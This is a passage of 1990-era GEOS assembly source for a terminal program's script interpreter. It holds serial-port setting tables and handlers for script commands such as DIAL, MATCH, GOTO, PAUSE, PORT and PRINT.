db "E", CHAR_NULL, 2, EVEN_PARITY
db "O", CHAR_NULL, 2, ODD_PARITY
db "S", CHAR_NULL, 2, SPACE_PARITY
db "M", CHAR_NULL, 2, MARK_PARITY
endif
ParityTableEnd label byte
;
; stop bits
;
StopTable label byte
if DBCS_PCGEOS
wchar "1", CHAR_NULL
db 2, ONE_STOP
wchar "1.5", CHAR_NULL
db 2, ONE_HALF_STOP
wchar "2", CHAR_NULL
db 2, TWO_STOP
else
db "1", CHAR_NULL, 2, ONE_STOP
db "1.5", CHAR_NULL, 2, ONE_HALF_STOP
db "2", CHAR_NULL, 2, TWO_STOP
endif
StopTableEnd label byte
;
; duplex
;
DuplexTable label byte
if DBCS_PCGEOS
wchar "HALF", CHAR_NULL
db 2, TRUE
wchar "FULL", CHAR_NULL
db 2, FALSE
else
db "HALF", CHAR_NULL, 2, TRUE
db "FULL", CHAR_NULL, 2, FALSE
endif
DuplexTableEnd label byte
;
; com port
;
PortTable label byte
if DBCS_PCGEOS
wchar "1", CHAR_NULL
db 3
dw SERIAL_COM1
wchar "2", CHAR_NULL
db 3
dw SERIAL_COM2
wchar "3", CHAR_NULL
db 3
dw SERIAL_COM3
wchar "4", CHAR_NULL
db 3
dw SERIAL_COM4
else
db "1", CHAR_NULL, 3
dw SERIAL_COM1
db "2", CHAR_NULL, 3
dw SERIAL_COM2
db "3", CHAR_NULL, 3
dw SERIAL_COM3
db "4", CHAR_NULL, 3
dw SERIAL_COM4
endif
PortTableEnd label byte
;
; this table must match up with TermEntries (in Utils/utilsMain.asm),
; termcapTable (Main/mainVariable.def), Terminals (termConstant.def)
;
TermTable label byte
if DBCS_PCGEOS
wchar "TTY", CHAR_NULL
db 2, TTY
wchar "VT52", CHAR_NULL
db 2, VT52
wchar "VT100", CHAR_NULL
db 2, VT100
wchar "WYSE50", CHAR_NULL
db 2, WYSE50
wchar "ANSI", CHAR_NULL
db 2, ANSI
wchar "IBM3101", CHAR_NULL
db 2, IBM3101
wchar "TVI950", CHAR_NULL
db 2, TVI950
else
db "TTY", CHAR_NULL, 2, TTY
db "VT52", CHAR_NULL, 2, VT52
db "VT100", CHAR_NULL, 2, VT100
db "WYSE50", CHAR_NULL, 2, WYSE50
db "ANSI", CHAR_NULL, 2, ANSI
db "IBM3101", CHAR_NULL, 2, IBM3101
db "TVI950", CHAR_NULL, 2, TVI950
endif
TermTableEnd label byte
CharTable label byte
if DBCS_PCGEOS
wchar "CR", CHAR_NULL
db 3
wchar CHAR_CR
wchar "BELL", CHAR_NULL
db 3
wchar CHAR_BELL
wchar "LF", CHAR_NULL
db 3
wchar CHAR_LF
wchar "NULL", CHAR_NULL
db 3
wchar CHAR_NULL
wchar "TAB", CHAR_NULL
db 3
wchar CHAR_TAB
else
db "CR", CHAR_NULL, 2, CHAR_CR
db "BELL", CHAR_NULL, 2, CHAR_BELL
db "LF", CHAR_NULL, 2, CHAR_LF
db "NULL", CHAR_NULL, 2, CHAR_NULL
db "TAB", CHAR_NULL, 2, CHAR_TAB
endif
CharTableEnd label byte
dialPrefix db "ATD"
SBCS <gotoCmd db "GOTO " >
DBCS <gotoCmd wchar "GOTO " >
SBCS <gotoCmd2 db "goto " ;let's prevent some problems here>
DBCS <gotoCmd2 wchar "goto " ;let's prevent some problems here>
SBCS <nullStr db CHAR_NULL >
DBCS <nullStr wchar CHAR_NULL >
SBCS <abortLabel db "ABORT " >
DBCS <abortLabel wchar "ABORT " >
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckCommand
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If the command is valid return address of command routine
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: C - set if command not valid
C - clear if command okay
es:di - points past matched token
ds:si - points at routine number to call
DESTROYED: bp
PSEUDO CODE/STRATEGY:
Check if substring (macro) is in search string (macro table).
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckCommand proc near
call SkipSpaces ;skip white space
mov si, offset MacroTable ;cs:si -> macroTable
mov cx, offset MacroTableEnd ;cs:cx -> end of table
call ConvUpperCase ;make command string uppercase
mov dx, CHAR_NULL ;alternate word delimiter
call StringMatch
jnc exit ;skip if found match (cy=0)...
;this is an illegal macro command. Shove a null-terminator onto the
;end of it so we can print it in the error dialog box.
call NullTerminateWord
mov bp, ERR_UNDEF_MACRO
call CheckPossibleCommand ;does it contains ONLY printable
jz okay ;chars? skip if so...
;this string is absolute garbage. Don't try to display it.
mov bp, ERR_BAD_SCRIPT_MACRO ; generic macro error string
okay:
call DispErrMessage
call GotoNextLine ;bogus macro, skip it
stc
exit:
ret
CheckCommand endp
; pass:
; cx:dx = null-term'ed bad command string
; return:
; C clear if okay
CheckPossibleCommand proc near
uses ds, si, cx
.enter
mov ds, cx
mov si, dx
mov cx, MAX_MACRO_LENGTH
checkLoop:
lodsb
tst al ; clears carry flag
jz done
cmp al, ' ' ; don't allow if
jb done ; below a space
; (JB = JC -- carry set)
loop checkLoop
done:
.leave
ret
CheckPossibleCommand endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoBell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: make a beep noise
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: es:di - start of next in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoBell proc near
call GotoNextLine ;bell has no arguments skip to
; next line
push di ;save ptr to script file
mov ax, MSG_SCR_SOUND_BELL ;make bell sound
mov bx, ds:[termuiHandle] ;
CallScreenObj ;call screen object
pop di ;
exit:
ret
DoBell endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoClear
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear the script display
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: es:di - start of next in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 3/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoClear proc near
EC < call ECCheckDS_dgroup >
push di ;cx = #chars
clr cx ;pass null terminated string
mov bx, ds:[scriptDisp].handle
mov si, ds:[scriptDisp].chunk
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR ;
mov dx, cs ;
mov bp, offset nullStr ;dx:bp->null string
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop di ;
call GotoNextLine ;skip to the next line
ret
DoClear endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoComm
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the baud, data and stop bits, and parity
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: es:di - start of next in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoComm proc near
call SkipSpaces
checkBaud:
mov si, offset BaudTable ;cs:si->macroTable
mov cx, offset BaudTableEnd ;get length of table
mov dx, CHAR_DASH ;alternate word delimiter
call StringMatch
jnc setBaud
mov bp, ERR_UNDEF_BAUD
jmp error ;bail on error
setBaud:
mov cx, cs:[si] ;get and set the baud rate
push di ;save ptr into macro file
CallMod SetBaudList
pop di
checkData:
LocalNextChar esdi ;skip past '-' delimeter
mov si, offset DataTable ;cs:si->macroTable
mov cx, offset DataTableEnd ;get length of table
mov dx, CHAR_DASH ;alternate word delimiter
call StringMatch
jnc setData
mov bp, ERR_UNDEF_DATA
jmp error ;bail on error
setData:
mov cl, cs:[si]
mov ch, mask SF_LENGTH
call SetDataList
checkParity:
LocalNextChar esdi ;skip to parity
mov si, offset ParityTable ;cs:si->table of valid paritys
mov cx, offset ParityTableEnd ;get length of table
mov dx, CHAR_DASH ;alternate word delimiter
call StringMatch
jnc setParity
mov bp, ERR_UNDEF_PARITY
jmp error ;bail on error
setParity:
mov cl, cs:[si] ;get parity value
mov ch, mask SF_PARITY
call SetParityList
checkStop:
LocalNextChar esdi ;skip to stop bit value
mov si, offset StopTable ;cs:si->stop bit table
mov cx, offset StopTableEnd ;get length of table
mov dx, CHAR_DASH ;alternate word delimiter
call StringMatch
jnc setStop
mov bp, ERR_UNDEF_STOP
jmp short error ;bail on error
setStop:
mov cl, cs:[si] ;get stop bit value
mov ch, mask SF_EXTRA_STOP
call SetStopList
checkDuplex:
LocalNextChar esdi ;skip to stop bit value
mov si, offset DuplexTable ;cs:si->stop bit table
mov cx, offset DuplexTableEnd ;get length of table
mov dx, CHAR_DASH ;alternate word delimiter
call StringMatch
jnc setDuplex
mov bp, ERR_UNDEF_DUPLEX
jmp short error ;bail on error
setDuplex:
mov cl, cs:[si] ;get duplex value
mov ds:[halfDuplex], cl
call SetDuplexList
done:
;
; Send a message to the dialog to apply all the changes
;
push ax, cx, dx, bp, di
mov ax, MSG_GEN_APPLY
GetResourceHandleNS ProtocolBox, bx
mov si, offset ProtocolBox
clr di
call ObjMessage
pop ax, cx, dx, bp, di
jmp short exit ;done
error:
call NullTerminateWord
call DispErrMessage
exit:
call GotoNextLine
ret
DoComm endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoDial
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: dial the phone
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: es:di - start of next in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoDial proc near
call SkipSpaces ;skip white space
if _SCRIPT_VARIABLE ;------------------------------------------------------
push es, di ; preserve script pointer.
call DialVariableCheck ; if variable is not a var,
jnc dial_check_string ; then go do standard string
; check.
mov dx, es ; set target
mov bp, di
call GetDialVariable ; is a properly formatted
; variable. Now call
; GetDialVariable to get the
; string to print out
; (dial).
jmp continue_dialing ; skip over string check
dial_check_string:
endif ; _SCRIPT_VARIABLE ----------------------------------------------------
call StringCheck ;if string malformed
LONG jnz exit ; bail out
if _SCRIPT_VARIABLE
continue_dialing: ; label used by variables
; that can be dialed
endif ; _SCRIPT_VARIABLE
EC < call ECCheckDS_dgroup >
mov ds:[systemErr], FALSE ;reset system error flag
mov dx, cx ;save length of phone #
push es
segmov es, cs, cx
mov si, offset dialPrefix ;es:si->string to send
mov cx, DIAL_PREFIX_LEN
CallMod SendBuffer
pop es ;restore es->macro file
tst ds:[systemErr]
jnz error
mov cx, dx ;restore phone # length
push cx ;save string length
tst ds:[toneDial]
jz pulse
mov cl, CHAR_TONE
jmp 20$
pulse:
mov cl, CHAR_PULSE
20$:
CallMod SendChar
pop cx ;restore string length
if DBCS_PCGEOS ;-------------------------------------------------------------
;
; convert phone number for GEOS Unicode to SBCS via stack buffer
; es:di = GEOS phone #
; cx = length
;
push es, di ; save script
mov dx, ds ; save dgroup
segmov ds, es, ax ; ds:si = GEOS phone #
mov si, di
sub sp, cx
segmov es, ss, ax ; es:di = SBCS phone # (stack)
mov di, sp
push cx, di ; save len, SBCS buffer offset
convertLoop:
lodsw ; do GEOS -> SBCS conversion
stosb
loop convertLoop
pop cx, si ; cx = length, es:si = SBCS
mov ds, dx ; ds = dgroup
else ;---------------------------------------------------------------------
mov si, di ;es:si->phone # in macro file
endif ;---------------------------------------------------------------------
CallMod SendBuffer ;dial the phone number
if DBCS_PCGEOS ;-------------------------------------------------------------
add sp, cx ; free stack buffer
pop es, di ; es:di = script
endif ;---------------------------------------------------------------------
mov cl, CHAR_CR
CallMod SendChar
jmp short exit
error:
mov ds:[systemErr], FALSE
exit:
if _SCRIPT_VARIABLE ;----------------------------------------------------
pop es, di ; restore script pointer
endif ; SCRIPT_VARIABLE ;----------------------------------------------------
call GotoNextLine
ret
DoDial endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoEcho
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: turn echo on or off
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: es:di - start of next in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoEcho proc near
exit:
call GotoNextLine
ret
DoEcho endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoEnd
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: end of script file
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: ds - dgroup
es:di - next line in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoEnd proc near
EC < call ECCheckDS_dgroup >
;indicate that we are no longer processing a script,
;and send a method to the serial thread, so that it will
;send all future input to the FSM, first flushing the
;rest of the characters from auxBuf into the FSM, and then grabbing
;more chars from the Stream Driver into auxBuf.
;As these characters come in, we will scan them for the match.
;When we have read them all, that thread will remain idle until the
;Stream Driver notifies it that more characters have arrived.
push di
call ScriptCancelAndNotifySerialThread
;free script block, reset UI, etc.
call EndScript ;kill it
pop di
;now, we return to DoCommand and InterpretScriptFile.
call GotoNextLine ;point to next line
ret
DoEnd endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set error flag
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoError proc near
exit:
call GotoNextLine
ret
DoError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoGoto
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: goto another line in the script file
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoGoto proc near
EC < call ECCheckDS_dgroup >
call SkipSpaces
cmp {byte} es:[di], CHAR_CR
je noLabel
mov cx, ds:[scriptSize] ;pass size of script file
push ds
segmov ds, es, ax
clr si ;ds:si->start of macro file
call LabelSearch
pop ds
jnc gotoLabel
labelErr:
call NullTerminateWord
mov bp, ERR_UNDEF_LABEL
jmp 90$
noLabel:
mov bp, ERR_NO_LABEL
90$:
call DispErrMessage
jmp short exit
gotoLabel:
mov di, si ;es:di->cur line in macro file
exit:
call GotoNextLine
ret
DoGoto endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoMatch
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: add a match string to the match table
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
(script file is in GEOS character set)
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
Add match string to match table
Append match string with ptr #
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Table is limited size don't allow more than ten match strings
of fifteen chars each
Should we flag if they overflow the match table?
*** Can only MATCH white space terminated tokens
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
MATCH_TABLE_END = (offset dgroup:matchTable)+MATCH_TABLE_SIZE
MATCH_TABLE_LAST_LEGAL_EOS = MATCH_TABLE_END - MATCH_DATA_BYTES - 2
DoMatch proc near
EC < call ECCheckDS_dgroup >
call SkipSpaces ;skip spaces after "MATCH"
call StringCheck ;make sure string is legal,
;set es:di = start of string
;sets cx = length of string
jnz exit ;skip if not legal...
;first make sure that there is room in the match table to store this
;string:
mov si, ds:[matchTableHead] ;set ds:si = end of match table
mov ax, si
add ax, cx ;ds:ax -> where NULL will go
DBCS < add ax, cx ;char offset -> byte offset>
cmp ax, MATCH_TABLE_LAST_LEGAL_EOS ;past legal end?
mov bp, ERR_MATCH_TABLE_FULL ;assume so
jg dispErr ;skip if so...
;now copy this string into the match table
mov dh, CHAR_DBL_QUOTE
call StringCopyAndConvert ;copy string into match table
; AND GEOS->BBS convert
;DBCS: no conversion
LocalNextChar dssi ;move past the null terminator
;in destination string
;now write the value 2 into the match table: this indicates how many
;bytes to skip to the next match table entry.
mov {byte} ds:[si], MATCH_DATA_BYTES+1
inc si ;point to string info section
;in the source string, move past the closing quote, and any white space
LocalNextChar esdi ;move past the closing quote (")
call SkipSpaces ;error if no GOTO
SBCS < cmp {byte} es:[di], CHAR_CR ;must not be at end of line!>
DBCS < cmp {wchar} es:[di], CHAR_CR ;must not be at end of line!>
je gotoErr ;skip to error if so...
;now see if we have reached the "GOTO" string on the input line.
mov cx, si ;store ptr to info section
push ds, di
segmov ds, cs, ax ;ds = cs, using ax register
mov si, offset gotoCmd ;check that there is a GOTO cmd
call WordCmp ;ds:si -> "GOTO " string
pop ds, di ;restore ds -> dgroup
jnc storePtr ;skip if no error...
;now check for lower-case version
push ds, di
segmov ds, cs, ax ;ds = cx, using ax register
mov si, offset gotoCmd2 ;check that there is a GOTO cmd
call WordCmp ;ds:si -> "GOTO " string
pop ds, di ;restore ds -> dgroup
jnc storePtr ;skip if no error...
gotoErr:
mov bp, ERR_NO_GOTO
dispErr:
call DispErrMessage
jmp short exit
storePtr:
;store the address of the GOTO command in the match table
call SkipSpaces ;skip to the label
;(not necessary)
mov si, cx ;restore ptr to info section
mov ds:[si], di ;store ptr to label to goto
add si, 2 ;advance table ptr past label
mov ds:[matchTableHead], si ;set ptr to next entry in table
exit:
call GotoNextLine
ret
DoMatch endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoPause
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Suspend the program for a small amount of time
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: ds - dgroup
es:di - next line in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
The argument is in 1/60ths of a second. So to pause for
1 second, use 'PAUSE 60' If no argument, assume pause for
one second.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/06/90 Initial version
eric 9/90 added ScriptContinue code
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoPause proc near
EC < call ECCheckDS_dgroup >
;first set up the timer. Will return carry set if parse error
call SetTimer
jc done
;next, indicate that we are in PAUSE mode (i.e. script execution
;is suspended, but characters can still come from host and be
;printed on screen)
mov ds:[scriptMode], SCRIPT_MODE_PAUSE ;flag in pause mode
;now, send a method to the serial thread, so that it will flush the
;rest of the characters from auxBuf into the FSM, and then grab
;more chars from the Stream Driver into auxBuf.
;As these characters come in, we will scan them for the match.
;When we have read them all, that thread will remain idle until the
;Stream Driver notifies it that more characters have arrived.
push di
mov ax, MSG_SERIAL_ENTER_SCRIPT_PAUSE_MODE
mov bx, ds:[threadHandle] ;get serial thread handle
mov di, mask MF_FORCE_QUEUE
call ObjMessage ;prevent deadlock
pop di
done:
ret
DoPause endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the comm port
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/05/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoPort proc near
EC < call ECCheckDS_dgroup >
call SkipSpaces
mov si, offset PortTable ;cs:si->macroTable
mov cx, offset PortTableEnd ;get length of table
mov dx, CHAR_NULL ;alternate word delimiter
call StringMatch
jnc setPort
call NullTerminateWord
mov bp, ERR_UNDEF_PORT
call DispErrMessage
jmp short done
setPort:
mov cx, cs:[si] ;get port #
push di ;save ptr into macro file
push cx ; save port number
;
; The best thing is probably to disable all codes of Script module in
; Responder.
;
NRSP < CallMod TermSetPort >
pop ax ; restore port number
pop di
jcxz error ;check if com port error
mov cx, ax ; cx = port number
push di ;save ptr into script file
CallMod SetPortList
pop di
jmp short exit
error:
call ScriptAttemptBranchToAbortSection ;if abort section
jnc done ;continue script...
;set scriptMode = SCRIPT_MODE_OFF, and notify serial thread
;that the script has aborted.
call ScriptCancelAndNotifySerialThread
jmp short done
exit:
call GotoNextLine ;goto next line in macro file
done:
ret
DoPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoPrint
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: print string directly to the screen
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
(script file is in GEOS character set)
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoPrint proc near
EC < call ECCheckDS_dgroup >
call SkipSpaces ;skip white space
cmp {byte} es:[di], CHAR_CR
je charErr
cmp {byte} es:[di], CHAR_DBL_QUOTE ;is there a string exp?
jne convChar ;nope, check for chars
call StringCheck
jnz error ; bail
mov dx, es
mov bp, di ;dx:bp->ascii string
add di, cx ;es:di->points at end of string
DBCS < add di, cx ;char offset -> byte offset>
printChar:
LocalNextChar esdi ;es:di->points past end
; of string
push di ;cx = #chars
mov bx, ds:[scriptDisp].handle
mov si, ds:[scriptDisp].chunk
mov ax, MSG_VIS_TEXT_APPEND
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
pop di
checkChar:
call SkipSpaces ;check if any other chars
cmp {byte} es:[di], CHAR_COMMA ;nope
jne exit
LocalNextChar esdi ;es:di->character expression
call SkipSpaces ;skip to the character exp
convChar:
call ConvCharExp ;convert the char expression
jc charErr
mov cx, 1 ;cs:si->char value
mov dx, cs
mov bp, si ;dx:bp->char to write
jmp short printChar
charErr:
call NullTerminateWord
mov bp, ERR_UNDEF_CHAR
call DispErrMessage
exit:
call GotoNextLine
error:
ret
DoPrint endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoPrompt
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: wait for matched character or timeout
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN: ds - dgroup
es:di - next line in script file
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
eric 9/90 added ScriptContinue
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoPrompt proc near
EC < call ECCheckDS_dgroup >
;first set up the timer. Will return carry set if parse error
call SetTimer
jc done
;next, indicate that we are in MATCH mode (script execution is
;suspended, and we monitor the input coming from the host)
mov ds:[scriptMode], SCRIPT_MODE_PROMPT ;flag in match mode
;now, send a method to the serial thread, so that it will flush the
;rest of the characters from auxBuf into the FSM, and then grab
;more chars from the Stream Driver into auxBuf.
;As these characters come in, we will scan them for the match.
;When we have read them all, that thread will remain idle until the
;Stream Driver notifies it that more characters have arrived.
push di
mov ax, MSG_SERIAL_ENTER_SCRIPT_PROMPT_MODE
mov bx, ds:[threadHandle] ;get driver handle
mov di, mask MF_FORCE_QUEUE
call ObjMessage
pop di
done:
ret
DoPrompt endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoPulse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set error flag
CALLED BY: DoCommand
PASS: es:di - current line in script file
ds - dgroup
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
** should have code to flag the toneDial state in the Dialog boxes
REVISION HISTORY:
Name Date Description
---- -------- -----------
dennis 2/01/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoPulse proc near
mov cx, TRUE
call SetDialList
call GotoNextLine
ret
DoPulse endp
DoTone proc near
mov cx, FALSE
call SetDialList
call GotoNextLine
ret
DoTone endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetDialList
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set error flag
